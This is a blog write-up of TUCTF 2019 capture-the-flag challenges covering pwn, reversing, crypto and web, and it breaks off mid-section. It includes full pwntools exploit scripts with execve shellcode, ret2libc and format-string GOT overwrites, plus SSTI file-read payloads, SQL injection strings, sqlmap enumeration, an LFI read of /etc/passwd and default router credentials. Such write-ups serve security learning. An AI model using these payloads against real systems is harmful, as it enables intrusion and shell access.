본문으로 바로가기

TUCTF 2019

category CTF/CTF Playground 2019. 12. 1. 04:38

Welcome :: Welcome

Validate the discord account and the Bot will send the flag.

 

TUCTF{W3lc0m3_70_TUCTF._H4v3_fun}

 

PWN :: runme

Run the binary and enter 'flag'.

 

TUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}

 

PWN :: thefirst

PLT segment is modified, thus Hex-Ray can't see the C pseudocode normally.

Let's take a look on gdb:

 

gdb-peda$</red> pd main
Dump of assembler code for function main:
   0x0804921f <+0>:    endbr32 
   0x08049223 <+4>:    push   ebp
   0x08049224 <+5>:    mov    ebp,esp
   0x08049226 <+7>:    push   ebx
   0x08049227 <+8>:    sub    esp,0x10
   0x0804922a <+11>:    call   0x8049130 <__x86.get_pc_thunk.bx>
   0x0804922f <+16>:    add    ebx,0x2dd1
   0x08049235 <+22>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804923b <+28>:    mov    eax,DWORD PTR [eax]
   0x0804923d <+30>:    push   0x14
   0x0804923f <+32>:    push   0x2
   0x08049241 <+34>:    push   0x0
   0x08049243 <+36>:    push   eax
   0x08049244 <+37>:    call   0x80490d0 <setvbuf@plt>
   0x08049249 <+42>:    add    esp,0x10
   0x0804924c <+45>:    mov    eax,DWORD PTR [ebx-0x8]
   0x08049252 <+51>:    mov    eax,DWORD PTR [eax]
   0x08049254 <+53>:    push   0x14
   0x08049256 <+55>:    push   0x2
   0x08049258 <+57>:    push   0x0
   0x0804925a <+59>:    push   eax
   0x0804925b <+60>:    call   0x80490d0 <setvbuf@plt>
   0x08049260 <+65>:    add    esp,0x10
   0x08049263 <+68>:    lea    eax,[ebx-0x1fe4]
   0x08049269 <+74>:    push   eax
   0x0804926a <+75>:    call   0x8049090 <printf@plt>
   0x0804926f <+80>:    add    esp,0x4
   0x08049272 <+83>:    lea    eax,[ebp-0x14]
   0x08049275 <+86>:    push   eax
   0x08049276 <+87>:    call   0x80490a0 <gets@plt>
   0x0804927b <+92>:    add    esp,0x4
   0x0804927e <+95>:    mov    eax,0x0
   0x08049283 <+100>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08049286 <+103>:    leave  
   0x08049287 <+104>:    ret    
End of assembler dump.

 

It calls gets and the argument is EBP-0x14, so RET in stack frame can be overwritten to the address of printFlag.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./thefirst')
else :
    p = connect('chal.tuctf.com'30508)
 
 
def exploit() :
    payload = 'A'*(0x14+4)
    payload += p32(0x80491F6)
    
    p.writeline(payload)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{0n3_d0wn..._50_m4ny_70_60}

 

PWN :: shellme32

Disassemble with gdb:

 

gdb-peda$ pd main
Dump of assembler code for function main:
   0x0000120d <+0>:    endbr32 
   0x00001211 <+4>:    push   ebp
   0x00001212 <+5>:    mov    ebp,esp
   0x00001214 <+7>:    push   ebx
   0x00001215 <+8>:    sub    esp,0x20
   0x00001218 <+11>:    call   0x1110 <__x86.get_pc_thunk.bx>
   0x0000121d <+16>:    add    ebx,0x2dab
   0x00001223 <+22>:    mov    eax,DWORD PTR [ebx+0x2c]
   0x00001229 <+28>:    mov    eax,DWORD PTR [eax]
   0x0000122b <+30>:    push   0x14
   0x0000122d <+32>:    push   0x2
   0x0000122f <+34>:    push   0x0
   0x00001231 <+36>:    push   eax
   0x00001232 <+37>:    call   0x10c0 <setvbuf@plt>
   0x00001237 <+42>:    add    esp,0x10
   0x0000123a <+45>:    mov    eax,DWORD PTR [ebx+0x28]
   0x00001240 <+51>:    mov    eax,DWORD PTR [eax]
   0x00001242 <+53>:    push   0x14
   0x00001244 <+55>:    push   0x2
   0x00001246 <+57>:    push   0x0
   0x00001248 <+59>:    push   eax
   0x00001249 <+60>:    call   0x10c0 <setvbuf@plt>
   0x0000124e <+65>:    add    esp,0x10
   0x00001251 <+68>:    lea    eax,[ebp-0x24]
   0x00001254 <+71>:    push   eax
   0x00001255 <+72>:    lea    eax,[ebx-0x1fc0]
   0x0000125b <+78>:    push   eax
   0x0000125c <+79>:    call   0x10a0 <printf@plt>
   0x00001261 <+84>:    add    esp,0x8
   0x00001264 <+87>:    push   0x40
   0x00001266 <+89>:    lea    eax,[ebp-0x24]
   0x00001269 <+92>:    push   eax
   0x0000126a <+93>:    push   0x0
   0x0000126c <+95>:    call   0x1090 <read@plt>
   0x00001271 <+100>:    add    esp,0xc
   0x00001274 <+103>:    mov    eax,0x0
   0x00001279 <+108>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0000127c <+111>:    leave  
   0x0000127d <+112>:    ret 
End of assembler dump.

 

The program prints the address EBP-0x24.

Also there is a few mapped areas with RWX permission:

 

gdb-peda$ vmmap
Start      End        Perm    Name
0x56555000 0x56558000 r-xp    /media/sf_VMShare/TUCTF/shellme32
0x56558000 0x56559000 r-xp    /media/sf_VMShare/TUCTF/shellme32
0x56559000 0x5655a000 rwxp    /media/sf_VMShare/TUCTF/shellme32
0xf7dd6000 0xf7faf000 r-xp    /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7faf000 0xf7fb0000 ---p    /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb0000 0xf7fb2000 r-xp    /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb2000 0xf7fb4000 rwxp    /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb4000 0xf7fb6000 rwxp    mapped
0xf7fce000 0xf7fd0000 rwxp    mapped
0xf7fd0000 0xf7fd3000 r--p    [vvar]
0xf7fd3000 0xf7fd4000 r-xp    [vdso]
0xf7fd4000 0xf7ffb000 r-xp    /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 r-xp    /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 rwxp    /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 rwxp    [stack]

 

Write shellcode on stack and execute it.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./shellme32')
else :
    p = remote('chal.tuctf.com'30506)
 
 
def exploit() :
    p.readuntil('0x')
    stack = int(p.read(8), 16)
 
    print('[Exploit] EBP-0x24 = '+hex(stack))
 
    payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80';
    payload += 'A'*(0x24-len(payload)+4)
    payload += p32(stack)
 
    p.write(payload)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{4www..._b4by5_f1r57_3xpl017._h0w_cu73}

 

PWN :: shellme64

NX disabled.

Main disassembly:

 

gdb-peda$ pd main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:    endbr64 
   0x000000000000118d <+4>:    push   rbp
   0x000000000000118e <+5>:    mov    rbp,rsp
   0x0000000000001191 <+8>:    sub    rsp,0x20
   0x0000000000001195 <+12>:    mov    rax,QWORD PTR [rip+0x2e74]        # 0x4010 <stdout@@GLIBC_2.2.5>
   0x000000000000119c <+19>:    mov    ecx,0x14
   0x00000000000011a1 <+24>:    mov    edx,0x2
   0x00000000000011a6 <+29>:    mov    esi,0x0
   0x00000000000011ab <+34>:    mov    rdi,rax
   0x00000000000011ae <+37>:    call   0x1090 <setvbuf@plt>
   0x00000000000011b3 <+42>:    mov    rax,QWORD PTR [rip+0x2e66]        # 0x4020 <stdin@@GLIBC_2.2.5>
   0x00000000000011ba <+49>:    mov    ecx,0x14
   0x00000000000011bf <+54>:    mov    edx,0x2
   0x00000000000011c4 <+59>:    mov    esi,0x0
   0x00000000000011c9 <+64>:    mov    rdi,rax
   0x00000000000011cc <+67>:    call   0x1090 <setvbuf@plt>
   0x00000000000011d1 <+72>:    lea    rax,[rbp-0x20]
   0x00000000000011d5 <+76>:    mov    rsi,rax
   0x00000000000011d8 <+79>:    lea    rdi,[rip+0xe29]        # 0x2008
   0x00000000000011df <+86>:    mov    eax,0x0
   0x00000000000011e4 <+91>:    call   0x1070 <printf@plt>
   0x00000000000011e9 <+96>:    lea    rax,[rbp-0x20]
   0x00000000000011ed <+100>:    mov    edx,0x40
   0x00000000000011f2 <+105>:    mov    rsi,rax
   0x00000000000011f5 <+108>:    mov    edi,0x0
   0x00000000000011fa <+113>:    call   0x1080 <read@plt>
   0x00000000000011ff <+118>:    mov    eax,0x0
   0x0000000000001204 <+123>:    leave  
   0x0000000000001205 <+124>:    ret
End of assembler dump.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./shellme64')
else :
    p = remote('chal.tuctf.com'30507)
 
 
def exploit() :
    p.readuntil('0x')
    stack = int(p.readline()[:-1], 16)
 
    print('[Exploit] RBP-0x20 = '+hex(stack))
 
    payload = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
    payload += 'A'*(0x20-len(payload)+8)
    payload += p64(stack)
 
    p.write(payload)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{54m3_5h3llc0d3,_ju57_m0r3_by735}

 

PWN :: leakalicious

I found libc version by brute-forcing of all libc databases... Don't know better solution.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./leakalicious')
else :
    p = connect('chal.tuctf.com'30505)
 
 
def exploit() :
    p.writeafter('> ''A'*0x20)
    p.readuntil('... ')
    puts_resolved = u32(p.readline()[0x20:0x24].ljust(4'\x00'))
    print('[Exploit] puts = '+hex(puts_resolved))
 
    # libc6_2.23-0ubuntu11_i386
 
    libc_base = puts_resolved-0x5FCA0
    system_resolved = libc_base+0x3ADA0
    str_bin_sh = libc_base+0x15BA0B
 
    p.writeafter('> ''A')
 
    payload = 'A'*(0x28+4)
    payload += p32(system_resolved)
    payload += 'A'*4
    payload += p32(str_bin_sh)
 
    p.writeafter('> ', payload)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{cl0udy_w17h_4_ch4nc3_0f_l1bc}

 

PWN :: 3step

Writing shellcode, but needs to be splited

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./3step')
else :
    p = connect('chal.tuctf.com'30504)
 
 
def exploit() :
    p.readuntil('snacks\n')
 
    bss = int(p.readline()[2:-1], 16)
    stack = int(p.readline()[2:-1], 16)
 
    print('[Exploit] bss = '+hex(bss))
    print('[Exploit] stack = '+hex(stack))
 
    shellcode1 = '\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\xE9'+p32(stack-bss-18)
    shellcode2 = '\x89\xE3\x89\xC1\x89\xC2\xB0\x0B\xCD\x80\x31\xC0\x40\xCD\x80'
 
    # [shellcode1]
    # xor eax,eax
    # push eax
    # push 0x68732f2f
    # push 0x6e69622f
    # jmp (stack-bss-18)   ; PIE Enabled -> EIP Relative Addressing
    # [shellcode2]
    # mov ebx,esp
    # mov ecx,eax
    # mov edx,eax
    # mov al,0xb
    # int 0x80
    # xor eax,eax
    # int eax
    # int 0x80
 
    p.writeafter('1: ', shellcode1)
    p.writeafter('2: ', shellcode2)
    p.writeafter('3: ', p32(bss))
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{4nd_4_0n3,_4nd_4_7w0,_4nd_5h3ll_f0r_y0u!}

 

PWN :: pancakes

Leak data(password) using ROP

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./pancakes')
else :
    p = connect('chal.tuctf.com'30503)
 
 
def exploit() :
    puts_plt =     0x8049060
 
    payload = 'A'*(0x28+4)
    payload += p32(puts_plt)
    payload += p32(0x804901E)   # pop ebx; ret;
    payload += p32(0x804C060)   # password
    payload += p32(0x80492CD)   # pwnme
 
    p.write(payload)
 
    p.readuntil('harder\n')
    password = p.readline()[:-1]
 
    print('[Exploit] password: '+password)
 
    p.write(password)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{p4nc4k35_4r3_4b50lu73ly_d3l1c10u5_4nd_y0u_5h0uld_637_50m3_4f73r_7h15}

 

PWN :: printfun

Make password and buf both be zero-length. Input "%7$n%6$n", this will let both string empty.

 

TUCTF{wh47'5_4_pr1n7f_l1k3_y0u_d01n6_4_b1n4ry_l1k3_7h15?}

 

PWN :: vulnmath

Main concept: FSB

I can leak libc base by giving input "%23$p". The output is the address of __libc_start_main+249.

Since free is used at last and I can write any string where the argument pointer pointing, I tried to overwrite GOT of free to the address of system, using FSB.

Also, because of the length limit, I have to modify each 2 bytes seperately.

 

Below is the full exploit script:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./vulnmath')
else :
    p = connect('chal.tuctf.com'30502)
 
 
def exploit() :
    free_got = 0x804C014
 
    p.writeafter('> ''%23$p\x00')
 
    p.readuntil('0x')
    libc_base = int(p.readline()[:-1], 16)-249-0x1EEC0
    system_resolved = libc_base+0x458B0
    system_hiword = system_resolved >> 16
    system_loword = system_resolved & 0xFFFF
 
    print('[Exploit] libc_base = '+hex(libc_base))
    print('[Exploit] system = '+hex(system_resolved)+' > '+hex(system_hiword)+' / '+hex(system_loword))
 
    payload = p32(free_got)
    payload += '%'+str(system_loword-4)+'c%6$n\x00'
    p.writeafter('> ', payload)
 
    payload = p32(free_got+2)
    payload += '%'+str(system_hiword-4)+'c%6$n\x00'
    p.writeafter('> ', payload)
 
    p.writeafter('> ''/bin/sh\x00')
    p.writeafter('> ''/bin/sh\x00')
    p.writeafter('> ''/bin/sh\x00')
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{I_w45_w4rn3d_4b0u7_pr1n7f..._bu7_I_d1dn'7_l1573n}

 

PWN :: ctftp

Get shell, flag is in /flags/flag.txt

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./ctftp')
else :
    p = connect('chal.tuctf.com'30500)
 
 
def exploit() :
    system_plt = 0x80490B0
 
    p.writelineafter('name: ''/bin/sh')
    p.writelineafter('> ''2')
 
    payload = 'A'*(0x48+4)
    payload += p32(system_plt)
    payload += 'A'*4
    payload += p32(0x804C080)   # username
 
    p.writeafter('filename: ', payload)
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{f1l73r_f1r57_7h3y_541d._y0u'll_b3_53cur3_7h3y_541d}

 

Reversing :: faker

The function thisone() actually prints the real flag. Replace call A to call thisone in main.

 

TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}

 

Reversing :: object

It seems reversing encryption would be possible but I just brute-forced it.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main() {
    char flag[44= "TUCTF{??????????????????????????????????????";
    char command[128];
 
    for (int i=6 ; i<43 ; i++) {
        for (int c=33 ; c<128 ; c++) {
            if (c==34 || c==36 || (c>=38 && c<=41|| c==59 || c==60 || c==62 || c==92 || c==96continue;
 
            flag[i] = c;
            sprintf(command, "(echo %s | ./run) > output", flag);
            system(command);
 
            FILE *= fopen("./output""r");
            char t[128];
            int err_index;
 
            do fscanf(f, "%s", t);
            while (strcmp(t, "character:"!= 0);
            fscanf(f, "%d"&err_index);
            fclose(f);
 
            if (err_index != i) break;
        }
    }
 
    flag[43= '}';
    printf("Flag: %s\n", flag);
 
    return 0;
}

 

TUCTF{c0n6r47ul4710n5_0n_br34k1n6_7h15_fl46}

 

Reversing :: core

We can see that flag is encrypted by XOR with 1.

As the flag starts with "TUCTF", we have to find the string starting with "UTBUG" and there it is:

UTBUGzb1s2^etlq>^O2w2s^i25se^1g^x1t|

Decrypted text is the flag.

 

TUCTF{c0r3_dump?_N3v3r_h34rd_0f_y0u}

 

Crypto :: Something in Common

RSA Common Modulus Attack

 

Solve x₁e₁+x₂e₂=1 > x₁=-6, x₂=7

c₁⁻¹ (mod N) = 1094642727230174289421828907310932988036391919484377468810928082174397337248917624421294207018605528683201868391468235065053449684831268807855656077382001

c₁⁻⁶c₂⁷ (mod N) = m⁻⁷ᵉ¹⁺⁶ᵉ² (mod N) = m (mod N) = 41940789645289727383820108960015433601923863378896078867113927590694229643593486190334845

 

TUCTF{Y0U_SH0ULDNT_R3US3_TH3_M0DULUS}

 

Crypto :: Sonic

Simple caesar cipher, but needs automation

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
= connect('chal.tuctf.com'30100)
 
 
def shift(text, n) :
    r = ''
 
    for c in text :
        r += chr((ord(c)-65+n)%26+65)
 
    return r
 
def exploit() :
    p.readuntil('this: ')
 
    enc = p.readline()[:-1]
 
    for i in range(26) :
        p.writeline(shift(enc, i))
        print(p.recv(1000))
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}

 

Crypto :: Warren

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import gmpy
 
 
def GCD(a, b) :
    if b == 0 :
        return a
 
    return GCD(b, a%b)
 
def AffineSolver(text, max_slope=25, max_intercept=25) :
    max_slope %= 26
    max_intercept %= 26
 
    for a in range(1, max_slope+1) :
        if GCD(26, a) != 1 :
            continue
 
        invmod = 0
 
        for t in range(126) :
            if (t*a)%26 == 1 :
                invmod = t
                break
 
        if invmod == 0 :
            raise Exception('Invalid slope value')
 
        for b in range(1, max_intercept+1) :
            r = ''
 
            for c in text :
                if c == ' ' :
                    r += ' '
                    continue
 
                r += chr(((ord(c)-65-b)*invmod)%26+65)
 
            print('[Affine] Slope=%d, Intercept=%d > '%(a, b)+r)
 
def BaconianSolver(text) :
    r = ''
 
    for sb in text.split() :
        for i in range(len(sb)/5) :
            d = int(sb[i*5:(i+1)*5].replace('a''0').replace('b''1'), 2)
            if d >= 19 : d += 2
            elif d >= 8 : d += 1
 
            r += chr(d+65)
 
        r += ' '
 
    print('[Baconian] Text > '+r[:-1])
 
def CaesarSolver(text, max_shift=25) :
    max_shift %= 26
 
    for k in range(1, max_shift+1) :
        r = ''
 
        for c in text :
            if c == ' ':
                r += ' '
                continue
 
            r += chr((ord(c)-65-k)%26+65)
 
        print('[Caesar] Key=%d > '%k+r)
 
def AtbashSolver(text) :
    r = ''
 
    for c in text :
        if c == ' ' : r += ' '
        else : r += chr(155-ord(c))
 
    print('[Atbash] Text > '+r)
 
 
if __name__ == '__main__' :
    AffineSolver('UBBAHK AO U LUT CAPJKX')   # grep "AFFINE"
    BaconianSolver('aaaabaaaaaaaabaabbababbaaabaaaaaaaaabbaa abaaabaaab aabaaabbaaabaaaabbabbabbaaaaaaaaaabababaaabaa')
    CaesarSolver('WUYMUL CM UH YUMS WCJBYL')   # grep "CAESAR"
    AtbashSolver('ZGYZHS RH Z UFM XRKSVI')

 

1. Affine > AFFINE IS A BAD CIPHER (slope=17, intercept=20)

2. Baconian > BACONIAN IS ENJOYABLE

3. Caesar > CAESAR IS AN EASY CIPHER (key=20)

4. Atbash > ATBASH IS A FUN CIPHER

5. Vigenere > VIGENERE IS A HARD CIPHER (key=tuctf (repeat) ; guessing game LOL)

 

TUCTF{th4nks_f0r_d1n1ng_4641n_4t_th3_W4rr3n_buff3t}

 

Web :: Open Door

See page source.

 

TUCTF{f1r5t_fl46_345135t_fl46}

 

Web :: Test Test Test

Normal user can access to /img, and there are 2 files; TEST.jpg and TODO.txt.

TODO.txt says:

 

1. Get rid of directory (bit.ly = love, bit.ly = life)
2. Move the flag from flag.php

 

So let's go to flag.php and what it says: (Response needs to be intercepted, otherwise it will instantly redirect to index.html)

 

TODO: put more stuff here before the test
Then print the flag TUCTF{d0nt_l34v3_y0ur_d1r3ct0ry_h4n61n6}

 

TUCTF{d0nt_l34v3_y0ur_d1r3ct0ry_h4n61n6}

 

Web :: Router Where Art You?

3 pages exist: 0.html, 1.html, 2.html

Find default login configuration.

 

0.html

Fortinet > https://help.fortinet.com/fweb/551/Content/FortiWeb/fortiweb-admin/connecting_gui_cli.htm

Username='admin', Password='' 

1.html

SonicWall > https://m.sonicwall-sales.com/help-advice-and-tech-info/default-ip-address-and-administrator-admin-username-and-password-for-all-sonicwall-appliances.html

Username='admin', Password='password'

2.html

Palo Alto > https://docs.paloaltonetworks.com/pan-os/7-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration

Username='admin', Password='admin'

 

TUCTF{y0u_f0und_th3_fun_r0ut3r_d3f4ult5}

 

Web :: And Now, For Something Completely Different

See source, it says /welcome/test page does exist.

With a few attempts /welcome/[] prints Welcome [], however SSTI is possible and it's made in Python apparently.

 

Try /welcome/{{__import__('os').listdir();}} and we can find flag.txt.

Now read it: /welcome/{{open('flag.txt','r').read()}}

 

TUCTF{4lw4y5_60_5h0pp1n6_f0r_fl465}

 

Web :: Login to Access

Download /login.php.back, there is the flag.

 

TUCTF{b4ckup5_0f_php?_1t5_m0r3_c0mm0n_th4n_y0u_th1nk}

 

 

SQL Injection does work, so use sqlmap.

 

$ sqlmap -u "http://chal.tuctf.com:30001/login.php" --data="username=1&password=1" --level=2 --risk=1 --dbms=mysql --dbs
 
[00:19:19] [INFO] retrieved: information_schema
[00:24:42] [INFO] retrieved: challenge
[00:27:25] [INFO] retrieved: mysql
[00:29:08] [INFO] retrieved: performance_schema
[00:35:01] [INFO] retrieved: sys
available databases [5]:
[*] challenge
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

 

$ sqlmap -u "http://chal.tuctf.com:30001/login.php" --data="username=1&password=1" --level=2 --risk=1 --dbms=mysql -D challenge --tables
 
[00:39:53] [INFO] fetching tables for database: 'challenge'
[00:39:53] [INFO] fetching number of tables for database 'challenge'
[00:39:53] [INFO] retrieved: 1
[00:39:56] [INFO] retrieved: users
Database: challenge
[1 table]
+-------+
| users |
+-------+

 

$ sqlmap -u "http://chal.tuctf.com:30001/login.php" --data="username=1&password=1" --level=2 --risk=1 --dbms=mysql -D challenge -T users --columns
 
[00:44:44] [INFO] fetching columns for table 'users' in database 'challenge'
[00:44:23] [INFO] retrieved: user
[00:45:39] [INFO] retrieved: varchar(20)
[00:48:30] [INFO] retrieved: password
[00:50:37] [INFO] retrieved: varchar(50)
Database: challenge
Table: users
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| user     | varchar(20) |
| password | varchar(50) |
+----------+-------------+

 

Web :: The Droid You're Looking For

robots.txt says that I need another User Agent to look the page normally.

Replace its value to Googlebot Smartphone Crawler.

 

GET /robots.txt HTTP/1.1
Host: chal.tuctf.com:30003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "36-597d6a86c0400"
If-Modified-Since: Thu, 21 Nov 2019 07:58:08 GMT
Connection: close

 

And response is:

 

HTTP/1.1 200 OK
Date: Sun, 01 Dec 2019 07:14:00 GMT
Server: Apache/2.4.41 (Unix)
Last-Modified: Thu, 21 Nov 2019 07:58:08 GMT
ETag: "36-597d6a86c0400"
Accept-Ranges: bytes
Content-Length: 54
Connection: close
Content-Type: text/plain
 
User-agent: *
Disallow: googleagentflagfoundhere.html

 

TUCTF{463nt_6006l3_r3p0rt1n6_4_r0b0t}

 

Web :: Cute Animals Company

There is a cookie "allowed=ZmFsc2U=". Change it to "allowed=dHJ1ZQ==" and go to login.php.

Try user="a" and password="'OR'1'='1", I can see userdata that is user="bro" and password="ultimate699".

Join with the credential above, it leads to portal.php.

It sends input value as "file" by GET. Seems LFI and PHP wrapper would work, so I tried php://filter/convert.base64-encode/resource=/etc/passwd and received this:

 

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpUVUNURnttMHIzX2N1dDNfNG4xbTQxNV9jNG5fYjNfZjB1bmRfNHRfaHR0cHM6Ly9iaXQubHkvMUhVMm01UX0K

 

Text decoded from BASE64 is:

 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
TUCTF{m0r3_cut3_4n1m415_c4n_b3_f0und_4t_https://bit.ly/1HU2m5Q}
 

 

TUCTF{m0r3_cut3_4n1m415_c4n_b3_f0und_4t_https://bit.ly/1HU2m5Q}

 

Web :: And Now, For Something Similar

From the previous challenge; Login to Access, I know the SQL query:

 

SELECT * FROM users WHERE user='$username' AND password='$password'

 

With some test cases, I found that UNION, SELECT, and '(single quote) is being filtered.

 

Mega :: Cup of Joe: The Server

Request /teapot by BREW, the server response would be like this:

 

